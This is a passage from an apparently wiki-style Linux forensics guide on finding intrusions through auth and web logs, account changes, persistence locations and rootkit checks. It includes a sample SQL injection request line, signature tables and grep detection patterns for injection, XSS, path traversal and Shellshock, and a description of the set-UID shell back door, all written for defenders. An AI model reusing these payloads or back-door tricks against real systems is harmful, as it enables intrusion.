* Most tools can read a copy of a log directly: &amp;lt;code&amp;gt;last -aiF -f /mnt/data/var/log/wtmp&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;journalctl -D /mnt/data/var/log/journal&amp;lt;/code&amp;gt; (if the system kept a persistent journal).&lt;br /&gt;
&lt;br /&gt;
== Step 2: Find the way in ==&lt;br /&gt;
&lt;br /&gt;
=== Remote login (SSH) ===&lt;br /&gt;
&lt;br /&gt;
Password guessing against SSH is constant background noise on any internet-facing host. The question is not &amp;quot;was I attacked?&amp;quot; (you were, of course) but &amp;quot;did any guess succeed?&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# which addresses failed the most (the address is the 4th field from the end of the line)&lt;br /&gt;
sudo grep &amp;quot;Failed password&amp;quot; /var/log/auth.log | awk &#039;{print $(NF-3)}&#039; | sort | uniq -c | sort -nr | head&lt;br /&gt;
&lt;br /&gt;
# did any of them ever get in?&lt;br /&gt;
sudo grep &amp;quot;Accepted&amp;quot; /var/log/auth.log&lt;br /&gt;
&lt;br /&gt;
# every event involving one address, in order&lt;br /&gt;
sudo grep -E &amp;quot;Failed|Accepted&amp;quot; /var/log/auth.log | grep 198.51.100.7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example output (addresses here are from the reserved documentation ranges, not real hosts):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2&lt;br /&gt;
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2&lt;br /&gt;
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2&lt;br /&gt;
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The pattern to worry about is &#039;&#039;&#039;many failures, then a success, from the same address&#039;&#039;&#039;, especially for an account that should never log in from that place. Confirm with the login records:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
last -aiF | head -20               # recent logins with full timestamps and source IPs&lt;br /&gt;
sudo lastb -aiF | head -20         # recent failed logins&lt;br /&gt;
lastlog | grep -v &amp;quot;Never logged in&amp;quot;&lt;br /&gt;
journalctl -u ssh --since &amp;quot;2026-09-10&amp;quot; -g &amp;quot;Accepted&amp;quot;   # the unit is &amp;quot;sshd&amp;quot; on RHEL-family systems&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Be aware that these records are easy to lose: &amp;lt;code&amp;gt;wtmp&amp;lt;/code&amp;gt; is often rotated (truncated) weekly or monthly, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt; may not be kept at all because failed logins can contain mistyped passwords, and &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;&#039;s format varies between systems.&lt;br /&gt;
&lt;br /&gt;
Success by public key leaves a different line (&amp;lt;code&amp;gt;Accepted publickey for ...&amp;lt;/code&amp;gt;). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Web applications ===&lt;br /&gt;
&lt;br /&gt;
Web server access logs record one line per request. In the common &amp;quot;combined&amp;quot; format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] &amp;quot;GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1&amp;quot; 500 1024 &amp;quot;-&amp;quot; &amp;quot;sqlmap/1.7&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start with an overview, and then zoom in on one address:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LOG=/var/log/apache2/access.log     # /var/log/nginx/access.log, or /var/log/httpd/access_log&lt;br /&gt;
&lt;br /&gt;
awk &#039;{print $1}&#039; $LOG | sort | uniq -c | sort -nr | head     # busiest clients&lt;br /&gt;
awk &#039;{print $9}&#039; $LOG | sort | uniq -c | sort -nr            # status code counts&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG                                   # everything one client did&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attackers usually send their payload URL-encoded (&amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt; is &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%20&amp;lt;/code&amp;gt; is a space). Decode the lines you are reading:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG | python3 -c &#039;import sys,urllib.parse as u; [print(u.unquote(l),end=&amp;quot;&amp;quot;) for l in sys.stdin]&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(A plain &amp;lt;code&amp;gt;+&amp;lt;/code&amp;gt; in a query string can also mean a space; &amp;lt;code&amp;gt;unquote&amp;lt;/code&amp;gt; leaves it alone so timestamps such as &amp;lt;code&amp;gt;+0000&amp;lt;/code&amp;gt; stay readable.)&lt;br /&gt;
&lt;br /&gt;
==== What common web attacks look like in the log ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Attack !! What to look for in the request !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| SQL injection || &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;UNION SELECT&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;OR 1=1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt;, or an automated-tool User-Agent such as &amp;lt;code&amp;gt;sqlmap&amp;lt;/code&amp;gt; || A burst of &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; errors from one client while it probes is typical. A later run of &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; responses with unusually large sizes can mean data came back.&lt;br /&gt;
|-&lt;br /&gt;
| Cross-site scripting (XSS) || &amp;lt;code&amp;gt;&amp;amp;lt;script&amp;amp;gt;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%3Cscript&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;onerror=&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;javascript:&amp;lt;/code&amp;gt; || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).&lt;br /&gt;
|-&lt;br /&gt;
| Path traversal / file inclusion || &amp;lt;code&amp;gt;../&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;..%2f&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%2e%2e&amp;lt;/code&amp;gt;, or a path like &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; in a parameter || A &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; with a plausible response size means the file may have been returned.&lt;br /&gt;
|-&lt;br /&gt;
| Command injection || Shell metacharacters (&amp;lt;code&amp;gt;;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%3B&amp;lt;/code&amp;gt;, backticks, &amp;lt;code&amp;gt;$(&amp;lt;/code&amp;gt;) followed by commands like &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/bin/sh&amp;lt;/code&amp;gt; || Confirm with the process tree: did the web server user spawn anything?&lt;br /&gt;
|-&lt;br /&gt;
| Shellshock (CVE-2014-6271) || &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; at the start of a header value, usually User-Agent, against a &amp;lt;code&amp;gt;/cgi-bin/&amp;lt;/code&amp;gt; script || Old and long patched, but a good example: the attack rides in a header, not the URL.&lt;br /&gt;
|-&lt;br /&gt;
| Web shell upload || A POST to an upload form, then GET requests to a brand-new &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; file in the upload directory || Look for files the application should not have created.&lt;br /&gt;
|-&lt;br /&gt;
| Scanning and reconnaissance || Many &amp;lt;code&amp;gt;404&amp;lt;/code&amp;gt;s, requests for &amp;lt;code&amp;gt;/.env&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/wp-login.php&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/phpmyadmin&amp;lt;/code&amp;gt;, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# starting-point searches (expect some false positives; refine them as much as you can before you start trustung their results)&lt;br /&gt;
grep -iE &amp;quot;union.{1,10}select|sqlmap|%27&amp;quot; $LOG            # SQL injection&lt;br /&gt;
grep -iE &amp;quot;&amp;lt;script|%3Cscript|onerror=&amp;quot; $LOG               # XSS&lt;br /&gt;
grep -E &amp;quot;\.\./|%2e%2e|/etc/passwd&amp;quot; $LOG                   # path traversal&lt;br /&gt;
grep -E &#039;\(\) *\{&#039; $LOG                                   # Shellshock-style header&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important limits of access logs.&#039;&#039;&#039; The server does not log &#039;&#039;&#039;POST bodies&#039;&#039;&#039; or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare &amp;lt;code&amp;gt;POST /login&amp;lt;/code&amp;gt; line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; status only means the request was served, not that the attack worked, and a &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; does not mean it failed.&lt;br /&gt;
&lt;br /&gt;
==== From a request to a compromise ====&lt;br /&gt;
&lt;br /&gt;
A logged attack request proves that someone &#039;&#039;tried&#039;&#039; to attack. To decide whether it &#039;&#039;worked&#039;&#039;, follow it into the rest of the system:&lt;br /&gt;
&lt;br /&gt;
* Did a process appear in the tree, owned by the web server user (&amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;apache&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;nginx&amp;lt;/code&amp;gt;), just after the request timestamp?&lt;br /&gt;
* Is that process holding a network connection to an address that is not one of your users or dependencies?&lt;br /&gt;
* Are there new or modified files in the web root, &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; from about the same time?&lt;br /&gt;
* Did the same client address go on to do anything else (a second request type, a login)?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# files in the web root changed in the last 2 days&lt;br /&gt;
sudo find /var/www -type f -mtime -2 -ls&lt;br /&gt;
&lt;br /&gt;
# PHP files that call functions commonly used by web shells (often noisy)&lt;br /&gt;
sudo grep -RIlE &amp;quot;(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(&amp;quot; /var/www --include=*.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Step 3: What did they do? ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation and account activity ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo grep -E &amp;quot;sudo:|su\[|su:&amp;quot; /var/log/auth.log | grep -E &amp;quot;COMMAND=|session opened&amp;quot;   # who ran what as root&lt;br /&gt;
sudo grep -E &amp;quot;useradd|usermod|groupadd|passwd\[&amp;quot; /var/log/auth.log                     # account changes&lt;br /&gt;
awk -F: &#039;$3==0 {print $1}&#039; /etc/passwd            # accounts with UID 0 should be only &amp;quot;root&amp;quot;&lt;br /&gt;
sudo awk -F: &#039;$2==&amp;quot;&amp;quot; {print $1}&#039; /etc/shadow      # accounts with an empty password&lt;br /&gt;
grep -vE &#039;(nologin|false)$&#039; /etc/passwd           # accounts that can log in interactively&lt;br /&gt;
ls -l /etc/sudoers.d/; sudo grep -rvE &#039;^\s*(#|$)&#039; /etc/sudoers /etc/sudoers.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A second UID-0 account, or a regular user suddenly present in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as &amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;mysql&amp;lt;/code&amp;gt;) still have a non-login shell and no usable password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, and that nobody has been quietly added to a privileged group in &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Command history ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo sh -c &#039;ls -l /root/.bash_history /home/*/.bash_history&#039;   # empty? a symlink to /dev/null? recently truncated?&lt;br /&gt;
sudo sh -c &#039;cat /root/.bash_history /home/*/.bash_history&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What to keep in mind about &amp;lt;code&amp;gt;.bash_history&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
* It has &#039;&#039;&#039;no timestamps&#039;&#039;&#039; by default (unless &amp;lt;code&amp;gt;HISTTIMEFORMAT&amp;lt;/code&amp;gt; was set). To date a command, match it with other evidence:a log line, a file&#039;s timestamp, or a process start time. For example, a &amp;lt;code&amp;gt;useradd&amp;lt;/code&amp;gt; in the history can be tied to the log entry for the new account and the modification time of &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* It is a plain text file. Attackers can edit or delete it, clear it (&amp;lt;code&amp;gt;history -c&amp;lt;/code&amp;gt;), unset &amp;lt;code&amp;gt;HISTFILE&amp;lt;/code&amp;gt;, or link it to &amp;lt;code&amp;gt;/dev/null&amp;lt;/code&amp;gt;. Older copies sometimes survive in the disk&#039;s unallocated space, so searching a disk image for typical command strings can recover deleted history.&lt;br /&gt;
* An &#039;&#039;empty or missing&#039;&#039; history on an account that is otherwise active is itself worth noting.&lt;br /&gt;
&lt;br /&gt;
=== Other traces users leave behind ===&lt;br /&gt;
&lt;br /&gt;
Interactive use of a Linux system leaves small traces in the user&#039;s home directory. Individually minor, they often fill in the story:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! File (in the user&#039;s home directory) !! What it can show&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/authorized_keys&amp;lt;/code&amp;gt; || Keys that can log in &#039;&#039;to&#039;&#039; this account. Any key you do not recognize is a possible back door.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/known_hosts&amp;lt;/code&amp;gt; || Machines this user connected &#039;&#039;out to&#039;&#039; over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/config&amp;lt;/code&amp;gt; || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.lesshst&amp;lt;/code&amp;gt; || Search terms typed into the &amp;lt;code&amp;gt;less&amp;lt;/code&amp;gt; pager, and commands run from inside it.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.viminfo&amp;lt;/code&amp;gt; || Files recently edited in &amp;lt;code&amp;gt;vim&amp;lt;/code&amp;gt; (with the position in each), plus its search and command history.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/recently-used.xbel&amp;lt;/code&amp;gt; || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/Trash/&amp;lt;/code&amp;gt; || Files deleted through the desktop; the &amp;lt;code&amp;gt;info/&amp;lt;/code&amp;gt; folder records where each came from.&lt;br /&gt;
|-&lt;br /&gt;
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== The audit framework ===&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;auditd&amp;lt;/code&amp;gt; is installed and configured, it is the best source for &amp;quot;who ran what.&amp;quot; For example, with a rule that watches account files:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# in /etc/audit/rules.d/identity.rules&lt;br /&gt;
-w /etc/passwd -p wa -k identity&lt;br /&gt;
-w /etc/shadow -p wa -k identity&lt;br /&gt;
&lt;br /&gt;
# later, when investigating&lt;br /&gt;
sudo ausearch -k identity -i         # events that matched the rule, human-readable&lt;br /&gt;
sudo aureport -au                    # authentication summary&lt;br /&gt;
&lt;br /&gt;
# the same tools can read logs copied off a machine or mounted from an image&lt;br /&gt;
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If keystroke (TTY) auditing was enabled, &amp;lt;code&amp;gt;aureport --tty&amp;lt;/code&amp;gt; can show what was typed. Auditing has to be set up &#039;&#039;before&#039;&#039; the incident; it cannot reconstruct events that were never recorded.&lt;br /&gt;
&lt;br /&gt;
== Step 4: Persistence ==&lt;br /&gt;
&lt;br /&gt;
Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# scheduled tasks&lt;br /&gt;
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily&lt;br /&gt;
sudo ls -la /var/spool/cron/crontabs/          # /var/spool/cron/ on RHEL family&lt;br /&gt;
sudo ls -la /var/spool/cron/atjobs/ 2&amp;gt;/dev/null   # one-time &amp;quot;at&amp;quot; jobs (Debian/Ubuntu)&lt;br /&gt;
systemctl list-timers --all&lt;br /&gt;
&lt;br /&gt;
# services and units&lt;br /&gt;
systemctl list-unit-files --state=enabled&lt;br /&gt;
sudo find /etc/systemd /usr/lib/systemd -type f -newermt &amp;quot;2026-09-01&amp;quot;&lt;br /&gt;
ls -la ~/.config/systemd/user 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# SSH keys (any key listed here can log in as that user with no password)&lt;br /&gt;
sudo find / -xdev -name authorized_keys -exec ls -l {} \;&lt;br /&gt;
sudo sh -c &#039;cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys&#039; 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# shell start-up files that run at every login&lt;br /&gt;
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc&lt;br /&gt;
&lt;br /&gt;
# programs injected into every process (normally this file is absent or empty)&lt;br /&gt;
cat /etc/ld.so.preload 2&amp;gt;/dev/null&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Older systems use init scripts under &amp;lt;code&amp;gt;/etc/init*&amp;lt;/code&amp;gt; instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a &#039;&#039;&#039;script that a legitimate task already runs&#039;&#039;&#039;. Look at what your scheduled tasks and services actually execute, not only at their configuration.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Back doors beyond start-up entries:&#039;&#039;&#039; a web shell in the web root; a replacement &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; with a built-in password; an extra UID 0 account; a service account given a password; an added &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; line; a broadened &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt; entry; and the set-UID trick below.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Set-UID/set-GID programs.&#039;&#039;&#039; A program with the set-UID bit runs with its &#039;&#039;owner&#039;s&#039;&#039; privileges rather than the user&#039;s (this is how &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; can update &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with &amp;lt;code&amp;gt;-p&amp;lt;/code&amp;gt;, so it does not drop its privileges) is root again.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# set-UID / set-GID programs anywhere outside /usr (there should be very few)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys \) -prune -o -type f \( -perm -4000 -o -perm -2000 \) ! -path &#039;/usr/*&#039; -ls 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# the full list of set-UID programs&lt;br /&gt;
sudo find / -xdev -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compare the full list against a clean machine of the same OS, the same baseline-and-&amp;lt;code&amp;gt;diff&amp;lt;/code&amp;gt; technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, and dot-prefixed directories under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev&amp;lt;/code&amp;gt; are all worth a closer look.&lt;br /&gt;
&lt;br /&gt;
=== A post-exploitation checklist ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Check !! How&lt;br /&gt;
|-&lt;br /&gt;
| New or unexpected SSH keys || Read every &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;. If you find one, search your other machines for the same key.&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected group members || Compare &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt; against what you expect, especially groups named in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Unlocked service accounts || Service accounts should have &amp;lt;code&amp;gt;nologin&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;) as their shell and no valid password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Extra UID 0 accounts || &amp;lt;code&amp;gt;awk -F: &#039;$3==0&#039; /etc/passwd&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Edited sudo rules || Read &amp;lt;code&amp;gt;/etc/sudoers&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/sudoers.d/&amp;lt;/code&amp;gt; directly.&lt;br /&gt;
|-&lt;br /&gt;
| Unauthorized set-UID bits || The &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; commands above.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Step 5: Rootkits and tampering ==&lt;br /&gt;
&lt;br /&gt;
A &#039;&#039;&#039;rootkit&#039;&#039;&#039; is malware built to hide itself and the attacker&#039;s other activity. Two kinds are common on Linux:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;User-space (library preload) rootkits&#039;&#039;&#039; install a malicious shared library and make every program load it (through &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt; or the &amp;lt;code&amp;gt;LD_PRELOAD&amp;lt;/code&amp;gt; variable), so that &amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; and friends quietly leave out the attacker&#039;s files, processes and connections. Older rootkits simply replaced those programs.&lt;br /&gt;
* &#039;&#039;&#039;Kernel-module (LKM) rootkits&#039;&#039;&#039; load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under &amp;lt;code&amp;gt;/usr/src&amp;lt;/code&amp;gt;) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.&lt;br /&gt;
&lt;br /&gt;
=== Signs something is being hidden ===&lt;br /&gt;
&lt;br /&gt;
* Basic tools misbehave, disagree with each other, or stop working (&amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; failing on an otherwise healthy system).&lt;br /&gt;
* A listening port shows in a port scan from another machine but not in &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; on the host.&lt;br /&gt;
* Disk usage that does not add up, or CPU usage with no process to explain it.&lt;br /&gt;
* Logs with unexplained gaps, zero-length files (&amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;) or timestamps that jump backwards.&lt;br /&gt;
* A &amp;quot;tainted&amp;quot; kernel: &amp;lt;code&amp;gt;cat /proc/sys/kernel/tainted&amp;lt;/code&amp;gt; is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask &amp;quot;which module?&amp;quot;,  it is not necessarily a verdict.&lt;br /&gt;
&lt;br /&gt;
=== Detection tools ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install rkhunter chkrootkit       # or dnf install on RHEL-family (EPEL)&lt;br /&gt;
sudo rkhunter --check --sk --rwo           # run all checks; skip keypress prompts; report warnings only&lt;br /&gt;
sudo chkrootkit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in &amp;lt;code&amp;gt;/var/log/rkhunter.log&amp;lt;/code&amp;gt;). They are a quick extra check, however they are not the main method. Treat their output as leads from which to begin searches:&lt;br /&gt;
&lt;br /&gt;
* They are &#039;&#039;&#039;signature-based&#039;&#039;&#039;: they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; in particular sees little development, and many investigators no longer rely on it.&lt;br /&gt;
* They run &#039;&#039;on&#039;&#039; the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).&lt;br /&gt;
* &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; is much more useful if you run &amp;lt;code&amp;gt;sudo rkhunter --propupd&amp;lt;/code&amp;gt; on a known-clean system first, so later runs can detect changed files.&lt;br /&gt;
&lt;br /&gt;
=== Verify installed files against the package manager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install debsums &amp;amp;&amp;amp; sudo debsums -c      # Debian/Ubuntu: list installed files whose checksum changed&lt;br /&gt;
sudo rpm -Va                                      # RHEL family: verify all packages&lt;br /&gt;
